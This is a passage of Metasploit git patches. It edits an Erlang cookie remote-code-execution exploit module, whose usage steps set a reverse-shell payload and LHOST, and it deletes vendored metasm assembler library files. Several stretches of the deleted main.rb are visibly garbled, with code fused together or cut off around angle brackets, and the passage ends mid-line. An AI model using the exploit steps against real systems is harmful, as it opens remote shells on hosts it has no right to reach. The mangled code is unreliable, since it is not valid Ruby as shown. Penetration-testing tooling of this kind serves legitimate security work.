7. Select appropriate payload (default=cmd/unix/reverse) + 7. Do set appropriate payload (Unix=cmd/unix/reverse, Windows=cmd/windows/generic) 8. Do `set LHOST ` 9. `exploit` and verify shell is opened (varies per OS) diff --git a/modules/exploits/multi/erlang_cookie_rce.rb b/modules/exploits/multi/erlang_cookie_rce.rb index b2d3f63dde49..14348155eee9 100644 --- a/modules/exploits/multi/erlang_cookie_rce.rb +++ b/modules/exploits/multi/erlang_cookie_rce.rb @@ -30,14 +30,9 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Platform' => ['unix', 'win'], 'Privileged' => 'false', - 'DefaultOptions' => - { - 'PAYLOAD' => 'cmd/unix/reverse', - }, 'Arch' => [ ARCH_CMD ], 'Targets' => [[ 'Automatic Target', {} ]], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Oct 5, 2017', ) ) @@ -52,8 +47,8 @@ def generate_challenge_digest(challenge) challenge = challenge.unpack('H*')[0].to_i(16).to_s hash = Digest::MD5.new - hash.update datastore['COOKIE'] - hash.update challenge + hash.update(datastore['COOKIE']) + hash.update(challenge) vprint_status("MD5 digest generated: #{hash.hexdigest}") return [hash.hexdigest].pack('H*') From ee2ed4614389174710da992a844ee3898cfba96c Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 19:17:22 -0600 Subject: [PATCH 040/220] added date based on man page --- modules/exploits/multi/{ => misc}/erlang_cookie_rce.rb | 1 + 1 file changed, 1 insertion(+) rename modules/exploits/multi/{ => misc}/erlang_cookie_rce.rb (97%) diff --git a/modules/exploits/multi/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb similarity index 97% rename from modules/exploits/multi/erlang_cookie_rce.rb rename to modules/exploits/multi/misc/erlang_cookie_rce.rb index 14348155eee9..afb24f0e8e5e 100644 --- a/modules/exploits/multi/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -33,6 +33,7 @@ def initialize(info = {}) 'Arch' => [ ARCH_CMD ], 'Targets' => [[ 'Automatic Target', {} ]], 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 29, 2009', # http://erlang.org/doc/man/os.html ) ) From 565f2e3e3843eec8e05430e32598a212e2acd1e3 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Sun, 9 Dec 2018 19:23:54 -0600 Subject: [PATCH 041/220] wait wrong --- modules/exploits/multi/misc/erlang_cookie_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index afb24f0e8e5e..9530056e4e60 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Arch' => [ ARCH_CMD ], 'Targets' => [[ 'Automatic Target', {} ]], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Apr 29, 2009', # http://erlang.org/doc/man/os.html + 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) ) ) From 4ff6f0171d9bdd7c93908bb6e191f3ba17401116 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 10 Dec 2018 18:58:53 -0600 Subject: [PATCH 042/220] remove old metasm remnants Noticed while @asoto-r7 was reviewing Code Climate results, and it highlighted some metasm code as having unusual code structure. Rather than fixing it, we can delete it, since this is from upstream metasm presumably, which we've used as a Gem for some time (thanks @egypt). All payloads should still be regenerable, and evasion modules as well. --- lib/metasm/metasm/exe_format/javaclass.rb | 424 ------- lib/metasm/metasm/main.rb | 1318 --------------------- 2 files changed, 1742 deletions(-) delete mode 100644 lib/metasm/metasm/exe_format/javaclass.rb delete mode 100644 lib/metasm/metasm/main.rb diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb deleted file mode 100644 index c9678747c23e..000000000000 --- a/lib/metasm/metasm/exe_format/javaclass.rb +++ /dev/null @@ -1,424 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm - -class JavaClass < ExeFormat - MAGIC = "\xCA\xFE\xBA\xBE" - - CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer', - 0x4 => 'Float', 0x5 => 'Long', - 0x6 => 'Double', 0x7 => 'Class', - 0x8 => 'String', 0x9 => 'Fieldref', - 0xa => 'Methodref', 0xb => 'InterfaceMethodref', - 0xc => 'NameAndType' } - - class SerialStruct < Metasm::SerialStruct - new_int_field :u1, :u2, :u4 - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - u2 :minor_version - u2 :major_version - end - - class ConstantPool < SerialStruct - u2 :constant_pool_count - attr_accessor :constant_pool - - def decode(c) - super(c) - - @constant_pool = [nil] - - i = 1 - while i < @constant_pool_count - entry = ConstantPoolInfo.decode(c) - entry.idx = i - @constant_pool << entry - i += 1 - - if entry.tag =~ /Long|Double/ - # we must insert a phantom cell - # for long and double constants - @constant_pool << nil - i += 1 - end - end - end - - def encode(c) - cp = super(c) - - @constant_pool.each { |entry| - next if entry.nil? - cp << entry.encode(c) - } - cp - end - - def [](idx) - @constant_pool[idx] - end - - def []=(idx, val) - raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil? - @constant_pool[idx] = val - end - end - - class ConstantPoolInfo < SerialStruct - u1 :tag - fld_enum :tag, CONSTANT_TAG - attr_accessor :info, :idx - - def decode(c) - super(c) - - case @tag - when 'Utf8' - @info = ConstantUtf8.decode(c) - when /Integer|Float/ - @info = ConstantIntFloat.decode(c) - when /Long|Double/ - @info = ConstantLongDouble.decode(c) - when /Class|String/ - @info = ConstantIndex.decode(c) - when /ref$/ - @info = ConstantRef.decode(c) - when 'NameAndType' - @info = ConstantNameAndType.decode(c) - else - raise 'unknown constant tag' - return - end - end - - def encode(c) - super(c) << @info.encode(c) - end - end - - class ConstantUtf8 < SerialStruct - u2 :length - attr_accessor :bytes - - def decode(c) - super(c) - @bytes = c.encoded.read(@length) - end - - def encode(c) - super(c) << @bytes - end - end - - class ConstantIntFloat < SerialStruct - u4 :bytes - end - - class ConstantLongDouble < SerialStruct - u4 :high_bytes - u4 :low_bytes - end - - class ConstantIndex < SerialStruct - u2 :index - end - - class ConstantRef < SerialStruct - u2 :class_index - u2 :name_and_type_index - end - - class ConstantNameAndType < SerialStruct - u2 :name_index - u2 :descriptor_index - end - - class ClassInfo < SerialStruct - u2 :access_flags - u2 :this_class - u2 :super_class - end - - class Interfaces < SerialStruct - u2 :interfaces_count - attr_accessor :interfaces - - def decode(c) - super(c) - - @interfaces = [] - @interfaces_count.times { - @interfaces << ConstantIndex.decode(c) - } - end - - def encode(c) - ret = super(c) - - @interfaces.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @interfaces[idx] - end - end - - class Fields < SerialStruct - u2 :fields_count - attr_accessor :fields - - def decode(c) - super(c) - @fields = [] - @fields_count.times { - @fields << FieldMethodInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @fields.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @fields[idx] - end - end - - class Methods < SerialStruct - u2 :methods_count - attr_accessor :methods - - def decode(c) - super(c) - @methods = [] - @methods_count.times { - @methods << FieldMethodInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @methods.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @methods[idx] - end - end - - class FieldMethodInfo < SerialStruct - u2 :access_flags - u2 :name_index - u2 :descriptor_index - attr_accessor :attributes - - def decode(c) - super(c) - @attributes = Attributes.decode(c) - end - - def encode(c) - super(c) << @attributes.encode(c) - end - end - - class Attributes < SerialStruct - u2 :attributes_count - attr_accessor :attributes - - def decode(c) - super(c) - - @attributes = [] - @attributes_count.times { |i| - @attributes << AttributeInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @attributes.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @attributes[idx] - end - end - - class AttributeInfo < SerialStruct - u2 :attribute_name_index - u4 :attribute_length - attr_accessor :data - - def decode(c) - super(c) - @data = c.encoded.read(@attribute_length) - end - - def encode(c) - super(c) << @data - end - end - - def encode_u1(val) Expression[val].encode(:u8, @endianness) end - def encode_u2(val) Expression[val].encode(:u16, @endianness) end - def encode_u4(val) Expression[val].encode(:u32, @endianness) end - def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def sizeof_u1 ; 1 ; end - def sizeof_u2 ; 2 ; end - def sizeof_u4 ; 4 ; end - - attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes - - def initialize(endianness=:big) - @endianness = endianness - @encoded = EncodedData.new - super() - end - - def decode - @header = Header.decode(self) - @constant_pool = ConstantPool.decode(self) - @class_info = ClassInfo.decode(self) - @interfaces = Interfaces.decode(self) - @fields = Fields.decode(self) - @methods = Methods.decode(self) - @attributes = Attributes.decode(self) - end - - def encode - @encoded = EncodedData.new - @encoded << @header.encode(self) - @encoded << @constant_pool.encode(self) - @encoded << @class_info.encode(self) - @encoded << @interfaces.encode(self) - @encoded << @fields.encode(self) - @encoded << @methods.encode(self) - @encoded << @attributes.encode(self) - @encoded.data - end - - def cpu_from_headers - raise 'JVM' - end - - def each_section - raise 'n/a' - end - - def get_default_entrypoints - [] - end - - def string_at(idx) - loop do - tmp = @constant_pool[idx].info - return tmp.bytes if tmp.kind_of? ConstantUtf8 - idx = tmp.index - end - end - - def decode_methodref(mref) - class_idx = mref.info.class_index - nt_idx = mref.info.name_and_type_index - name_idx = @constant_pool[nt_idx].info.name_index - desc_idx = @constant_pool[nt_idx].info.descriptor_index - - string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx) - end - - def cp_add(cpi, tag) - cpe = ConstantPoolInfo.new - cpe.tag = tag - cpe.info = cpi - cpe.idx = @constant_pool.constant_pool_count - - @constant_pool.constant_pool << cpe - @constant_pool.constant_pool_count += 1 - @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/ - - cpe.idx - end - - def cp_find(tag) - constant_pool.constant_pool.each { |e| - next if !e or e.tag != tag - if yield(e.info) - return e.idx - end - } - nil - end - - - def cp_auto_utf8(string) - if idx = cp_find('Utf8') { |i| i.bytes == string } - return idx - end - - cpi = ConstantUtf8.new - cpi.bytes = string - cpi.length = string.length - cp_add(cpi, 'Utf8') - end - - def cp_auto_class(classname) - if idx = cp_find('Class') { |i| string_at(i.index) == classname } - return idx - end - - cpi = ConstantIndex.new - cpi.index = cp_auto_utf8(classname) - cp_add(cpi, 'Class') - end - - def cp_add_methodref(classname, name, descriptor) - nat = ConstantNameAndType.new - nat.name_index = cp_auto_utf8(name) - nat.descriptor_index = cp_auto_utf8(descriptor) - natidx = cp_add(nat, 'NameAndType') - - cpi = ConstantRef.new - cpi.class_index = cp_auto_class(classname) - cpi.name_and_type_index = natidx - - cp_add(cpi, 'Methodref') - end - - def attribute_create(name, data) - a = AttributeInfo.new - a.attribute_name_index = cp_auto_utf8(name) - a.attribute_length = data.size - a.data = data - a - end -end -end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb deleted file mode 100644 index cef8eda375a8..000000000000 --- a/lib/metasm/metasm/main.rb +++ /dev/null @@ -1,1318 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm - -VERSION = 0x0001 # major major minor minor - -# superclass for all metasm exceptions -class Exception < RuntimeError ; end -# parse error -class ParseError < Exception ; end -# invalid exeformat signature -class InvalidExeFormat < Exception ; end -# cannot honor .offset specification, reloc fixup overflow -class EncodeError < Exception ; end - -# holds context of a processor -# endianness, current mode, opcode list... -class CPU - attr_accessor :valid_args, :valid_props, :fields_mask - attr_accessor :endianness, :size - attr_accessor :generate_PIC - - def opcode_list - @opcode_list ||= init_opcode_list - end - def opcode_list=(l) @opcode_list = l end - - def initialize - @fields_mask = {} - @fields_shift= {} - @valid_args = {} - @valid_props = { :setip => true, :saveip => true, :stopexec => true } - @generate_PIC = true - end - - # returns a hash opcode_name => array of opcodes with this name - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| (h[o.name] ||= []) << o ; h } - end - - # sets up the C parser : standard macro definitions, type model (size of int etc) - def tune_cparser(cp) - case @size - when 64; cp.lp64 - when 32; cp.ilp32 - when 16; cp.ilp16 - end - cp.endianness = @endianness - cp.lexer.define_weak('_STDC', 1) - # TODO gcc -dM -E - field - # position is bit shift for risc, [byte index, bit shift] for risc - # field is cpu-specific - attr_accessor :fields - # hash of opcode generic properties/restrictions (mostly property => true/false) - attr_accessor :props - # binary mask for decoding - attr_accessor :bin_mask - - def initialize(name, bin=nil) - @name = name - @bin = bin - @args = [] - @fields = {} - @props = {} - end - - def basename - @name.sub(/\..*/, '') - end - - def dup - o = Opcode.new(@name.dup, @bin) - o.bin = @bin.dup if @bin.kind_of?(::Array) - o.args = @args.dup - o.fields = @fields.dup - o.props = @props.dup - o - end -end - -# defines an attribute self.backtrace (array of filename/lineno) -# and a method backtrace_str which dumps this array to a human-readable form -module Backtrace - # array [file, lineno, file, lineno] - # if file 'A' does #include 'B' you'll get ['A', linenoA, 'B', linenoB] - attr_accessor :backtrace - - # builds a readable string from self.backtrace - def backtrace_str - Backtrace.backtrace_str(@backtrace) - end - - # builds a readable backtrace string from an array of [file, lineno, file, lineno, ..] - def self.backtrace_str(ary) - return '' if not ary - i = ary.length - bt = '' - while i > 0 - bt << ",\n\tincluded from " if ary[i] - i -= 2 - bt << "#{ary[i].inspect} line #{ary[i+1]}" - end - bt - end - - def exception(msg='syntax error') - ParseError.new "at #{backtrace_str}: #{msg}" - end -end - -# an instruction: opcode name + arguments -class Instruction - # arguments (cpu-specific objects) - attr_accessor :args - # hash of prefixes (unused in simple cpus) - attr_accessor :prefix - # name of the associated opcode - attr_accessor :opname - # reference to the cpu which issued this instruction (used for rendering) - attr_accessor :cpu - - include Backtrace - - def initialize(cpu, opname=nil, args=[], pfx=nil, backtrace=nil) - @cpu = cpu - @opname = opname - @args = args - @prefix = pfx if pfx - @backtrace = backtrace - end - - # duplicates the argument list and prefix hash - def dup - Instruction.new(@cpu, (@opname.dup if opname), @args.dup, (@prefix.dup if prefix), (@backtrace.dup if backtrace)) - end -end - -# all kind of data description (including repeated/uninitialized) -class Data - # maps data type to Expression parameters (signedness/bit size) - INT_TYPE = {'db' => :a8, 'dw' => :a16, 'dd' => :a32, 'dq' => :a64} - - # an Expression, an Array of Data, a String, or :uninitialized - attr_accessor :data - # the data type, from INT_TYPE (TODO store directly Expression parameters ?) - attr_accessor :type - # the repetition count of the data parameter (dup constructs) - attr_accessor :count - - include Backtrace - - def initialize(type, data, count=1, backtrace=nil) - @data, @type, @count, @backtrace = data, type, count, backtrace - end -end - -# a name for a location -class Label - attr_accessor :name - - include Backtrace - - def initialize(name, backtrace=nil) - @name, @backtrace = name, backtrace - end -end - -# alignment directive -class Align - # the size to align to - attr_accessor :val - # the Data used to pad - attr_accessor :fillwith - - include Backtrace - - def initialize(val, fillwith=nil, backtrace=nil) - @val, @fillwith, @backtrace = val, fillwith, backtrace - end -end - -# padding directive -class Padding - # Data used to pad - attr_accessor :fillwith - - include Backtrace - - def initialize(fillwith=nil, backtrace=nil) - @fillwith, @backtrace = fillwith, backtrace - end -end - -# offset directive -# can be used to fix padding length or to assert some code/data compiled length -class Offset - # the assembler will arrange to make this pseudo-instruction - # be at this offset from beginning of current section - attr_accessor :val - - include Backtrace - - def initialize(val, backtrace=nil) - @val, @backtrace = val, backtrace - end -end - -# the superclass of all real executable formats -# main methods: -# self.decode(str) => decodes the file format (imports/relocs/etc), no asm disassembly -# parse(source) => parses assembler source, fills self.source -# assemble => assembles self.source in binary sections/segments/whatever -# encode => builds imports/relocs tables, put all this together, links everything in self.encoded -class ExeFormat - # array of Data/Instruction/Align/Padding/Offset/Label, populated in parse - attr_accessor :cursource - # contains the binary version of the compiled program (EncodedData) - attr_accessor :encoded - # hash of labels generated by new_label - attr_accessor :unique_labels_cache - - # initializes self.cpu, creates an empty self.encoded - def initialize(cpu=nil) - @cpu = cpu - @encoded = EncodedData.new - @unique_labels_cache = {} - end - - attr_writer :cpu # custom reader - def cpu - @cpu ||= cpu_from_headers - end - - # return the label name corresponding to the specified offset of the encodeddata, creates it if necessary - def label_at(edata, offset, base = '') - if not l = edata.inv_export[offset] - edata.add_export(l = new_label(base), offset) - end - l - end - - # creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists - def new_label(base = '') - base = base.dup.tr('^a-zA-Z0-9_', '_') - # use %x with absolute value to avoid negative number formatting - base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base] - @unique_labels_cache[base] = true - base - end - - # share self.unique_labels_cache with other, checks for conflicts, returns self - def share_namespace(other) - return self if other.unique_labels_cache.equal? @unique_labels_cache - raise "share_ns #{(other.unique_labels_cache.keys & @unique_labels_cache.keys).inspect}" if !(other.unique_labels_cache.keys & @unique_labels_cache.keys).empty? - @unique_labels_cache.update other.unique_labels_cache - other.unique_labels_cache = @unique_labels_cache - self - end -end - -# superclass for classes similar to Expression -# must define #bind, #reduce_rec, #match_rec, #externals -class ExpressionType - def +(o) Expression[self, :+, o].reduce end - def -(o) Expression[self, :-, o].reduce end -end - -# handle immediate values, and arbitrary arithmetic/logic expression involving variables -# boolean values are treated as in C : true is 1, false is 0 -# TODO replace #type with #size => bits + #type => [:signed/:unsigned/:any/:floating] -# TODO handle floats -class Expression < ExpressionType - INT_SIZE = {} - INT_MIN = {} - INT_MAX = {} - - [8, 16, 32, 64].each { |sz| - INT_SIZE["i#{sz}".to_sym] = - INT_SIZE["u#{sz}".to_sym] = - INT_SIZE["a#{sz}".to_sym] = sz - - INT_MIN["a#{sz}".to_sym] = - INT_MIN["i#{sz}".to_sym] = -(1 << (sz-1)) # -0x8000 - INT_MIN["u#{sz}".to_sym] = 0 - - INT_MAX["i#{sz}".to_sym] = (1 << (sz-1)) - 1 # 0x7fff - INT_MAX["a#{sz}".to_sym] = - INT_MAX["u#{sz}".to_sym] = (1 << sz) - 1 # 0xffff - } - - # alternative constructor - # in operands order, and allows nesting using sub-arrays - # ex: Expression[[:-, 42], :*, [1, :+, [4, :*, 7]]] - # with a single argument, return it if already an Expression, else construct a new one (using unary +/-) - def self.[](l, op=nil, r=nil) - if not r # need to shift args - if not op - raise ArgumentError, 'invalid Expression[nil]' if not l - return l if l.kind_of? Expression - if l.kind_of?(::Numeric) and l < 0 - r = -l - op = :'-' - else - r = l - op = :'+' - end - else - r = op - op = l - end - l = nil - else - l = self[*l] if l.kind_of?(::Array) - end - r = self[*r] if r.kind_of?(::Array) - new(op, r, l) - end - - # checks if a given Expression/Integer is in the type range - # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable) - def self.in_range?(val, type) - val = val.reduce if val.kind_of? self - return unless val.kind_of?(::Numeric) - - if INT_MIN[type] - val == val.to_i and - val >= INT_MIN[type] and val <= INT_MAX[type] - end - end - - # casts an unsigned value to a two-complement signed if the sign bit is set - def self.make_signed(val, bitlength) - case val - when Integer - val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1 - when Expression - val = Expression[val, :-, [(1<>, (bitlength-1)], :==, 1]]] - end - val - end - - # the operator (symbol) - attr_accessor :op - # the lefthandside expression (nil for unary expressions) - attr_accessor :lexpr - # the righthandside expression - attr_accessor :rexpr - - # basic constructor - # XXX funny args order, you should use +Expression[]+ instead - def initialize(op, rexpr, lexpr) - raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol) - @op = op - @lexpr = lexpr - @rexpr = rexpr - end - - # recursive check of equity using #== - # will not match 1+2 and 2+1 - def ==(o) - # shortcircuit recursion - o.object_id == object_id or (o.kind_of?(Expression) and @op == o.op and @lexpr == o.lexpr and @rexpr == o.rexpr) - end - - # make it useable as Hash key (see +==+) - def hash - (@lexpr.hash + @op.hash + @rexpr.hash) & 0x7fff_ffff - end - alias eql? == - - # returns a new Expression with all variables found in the binding replaced with their value - # does not check the binding's key class except for numeric - # calls lexpr/rexpr #bind if they respond_to? it - def bind(binding = {}) - if binding[self] - return binding[self].dup - end - - l = @lexpr - r = @rexpr - if l and binding[l] - raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric) - l = binding[l] - elsif l.kind_of? ExpressionType - l = l.bind(binding) - end - if r and binding[r] - raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric) - r = binding[r] - elsif r.kind_of? ExpressionType - r = r.bind(binding) - end - Expression.new(@op, r, l) - end - - # bind in place (replace self.lexpr/self.rexpr with the binding value) - # only recurse with Expressions (does not use respond_to?) - def bind!(binding = {}) - if @lexpr.kind_of?(Expression) - @lexpr.bind!(binding) - elsif @lexpr - @lexpr = binding[@lexpr] || @lexpr - end - if @rexpr.kind_of?(Expression) - @rexpr.bind!(binding) - elsif @rexpr - @rexpr = binding[@rexpr] || @rexpr - end - self - end - - # reduce_lambda is a callback called after the standard reduction procedure for custom algorithms - # the lambda may return a new expression or nil (to keep the old expr) - # exemple: lambda { |e| e.lexpr if e.kind_of? Expression and e.op == :& and e.rexpr == 0xffff_ffff } - # returns old lambda - def self.reduce_lambda(&b) - old = @@reduce_lambda - @@reduce_lambda = b if block_given? - old - end - def self.reduce_lambda=(p) - @@reduce_lambda = p - end - @@reduce_lambda = nil - - # returns a simplified copy of self - # can return an +Expression+ or a +Numeric+, may return self - # see +reduce_rec+ for simplifications description - # if given a block, it will temporarily overwrite the global @@reduce_lambda XXX THIS IS NOT THREADSAFE - def reduce(&b) - old_rp, @@reduce_lambda = @@reduce_lambda, b if b - case e = reduce_rec - when Expression, Numeric; e - else Expression[e] - end - ensure - @@reduce_lambda = old_rp if b - end - - # resolves logic operations (true || false, etc) - # computes numeric operations (1 + 3) - # expands substractions to addition of the opposite - # reduces double-oppositions (-(-1) => 1) - # reduces addition of 0 and unary + - # canonicalize additions: put variables in the lhs, descend addition tree in the rhs => (a + (b + (c + 12))) - # make formal reduction if finds somewhere in addition tree (a) and (-a) - def reduce_rec - l = @lexpr.kind_of?(ExpressionType) ? @lexpr.reduce_rec : @lexpr - r = @rexpr.kind_of?(ExpressionType) ? @rexpr.reduce_rec : @rexpr - - if @@reduce_lambda - l = @@reduce_lambda[l] || l if not @lexpr.kind_of? Expression - r = @@reduce_lambda[r] || r if not @rexpr.kind_of? Expression - end - - v = - if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric)) - case @op - when :+; l ? l + r : r - when :-; l ? l - r : -r - when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0 - when :'~'; raise 'internal error' if l ; ~r - when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!=' - raise 'internal error' if not l - case @op - when :'&&'; (l != 0) && (r != 0) - when :'||'; (l != 0) || (r != 0) - when :'>' ; l > r - when :'>='; l >= r - when :'<' ; l < r - when :'<='; l <= r - when :'=='; l == r - when :'!='; l != r - end ? 1 : 0 - else - l.send(@op, r) - end - elsif rp = @@reduce_op[@op] - rp[self, l, r] - end - - ret = case v - when nil - # no dup if no new value - (r == :unknown or l == :unknown) ? :unknown : - ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l)) - when Expression - (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v - else v - end - if @@reduce_lambda and ret.kind_of? ExpressionType and newret = @@reduce_lambda[ret] and newret != ret - if newret.kind_of? ExpressionType - ret = newret.reduce_rec - else - ret = newret - end - end - ret - end - - @@reduce_op = { - :+ => lambda { |e, l, r| e.reduce_op_plus(l, r) }, - :- => lambda { |e, l, r| e.reduce_op_minus(l, r) }, - :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) }, - :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) }, - :>> => lambda { |e, l, r| e.reduce_op_shr(l, r) }, - :<< => lambda { |e, l, r| e.reduce_op_shl(l, r) }, - :'!' => lambda { |e, l, r| e.reduce_op_not(l, r) }, - :== => lambda { |e, l, r| e.reduce_op_eql(l, r) }, - :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) }, - :^ => lambda { |e, l, r| e.reduce_op_xor(l, r) }, - :& => lambda { |e, l, r| e.reduce_op_and(l, r) }, - :| => lambda { |e, l, r| e.reduce_op_or(l, r) }, - :* => lambda { |e, l, r| e.reduce_op_times(l, r) }, - :/ => lambda { |e, l, r| e.reduce_op_div(l, r) }, - :% => lambda { |e, l, r| e.reduce_op_mod(l, r) }, - } - - - def self.reduce_op - @@reduce_op - end - - def reduce_op_plus(l, r) - if not l; r # +x => x - elsif r == 0; l # x+0 => x - elsif l == :unknown or r == :unknown; :unknown - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :+ - # 1+(x+y) => x+(y+1) - Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec - else - # 1+a => a+1 - Expression[r, :+, l].reduce_rec - end - # (a+b)+foo => a+(b+foo) - elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr - Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec - elsif l.kind_of? Expression and l.op == :- and not l.lexpr - reduce_rec_add_rec(r, l.rexpr) - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0 - # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f) - Expression[l, :|, r].reduce_rec - else - reduce_rec_add_rec(r, Expression.new(:-, l, nil)) - end - end - - def reduce_rec_add_rec(cur, neg_l) - if neg_l == cur - # -l found - 0 - elsif cur.kind_of?(Expression) and cur.op == :+ - # recurse - if newl = reduce_rec_add_rec(cur.lexpr, neg_l) - Expression[newl, cur.op, cur.rexpr].reduce_rec - elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l) - Expression[cur.lexpr, cur.op, newr].reduce_rec - end - end - end - - def reduce_op_minus(l, r) - if l == :unknown or r == :unknown; :unknown - elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) - if r.op == :- # no lexpr (reduced) - # -(-x) => x - r.rexpr - else # :+ and lexpr (r is reduced) - # -(a+b) => (-a)+(-b) - Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec - end - elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r - # shortcircuit for a common occurence [citation needed] - # (a+b)-a - l.rexpr - elsif l - # a-b => a+(-b) - Expression[l, :+, [:-, r]].reduce_rec - end - end - - def reduce_op_andand(l, r) - if l == 0 # shortcircuit eval - 0 - elsif l == 1 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - 0 # XXX l could be a special ExprType with sideeffects ? - end - end - - def reduce_op_oror(l, r) - if l.kind_of?(::Numeric) and l != 0 # shortcircuit eval - 1 - elsif l == 0 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - Expression[l, :'!=', 0].reduce_rec - end - end - - def reduce_op_shr(l, r) - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == :>> - Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - # (a | b) << i => (a<>, r], l.op, [l.rexpr, :>>, r]].reduce_rec - end - end - - def reduce_op_shl(l, r) - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == :<< - Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec - elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer - # (a >> 1) << 1 == a & 0xfffffe - if r == l.rexpr - Expression[l.lexpr, :&, (-1 << r)].reduce_rec - elsif r > l.rexpr - Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec - else - Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec - end - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - # (a | b) << i => (a< :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<} - - def reduce_op_not(l, r) - if r.kind_of? Expression and nop = NEG_OP[r.op] - Expression[r.lexpr, nop, r.rexpr].reduce_rec - end - end - - def reduce_op_eql(l, r) - if l == r; 1 - elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op] - Expression[l.lexpr, nop, l.rexpr].reduce_rec - elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] - l - elsif r == 0 and l.kind_of? Expression and l.op == :+ - if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr - Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec - elsif l.rexpr.kind_of?(::Integer) - Expression[l.lexpr, :==, -l.rexpr].reduce_rec - end - end - end - - def reduce_op_neq(l, r) - if l == r; 0 - end - end - - def reduce_op_xor(l, r) - if l == :unknown or r == 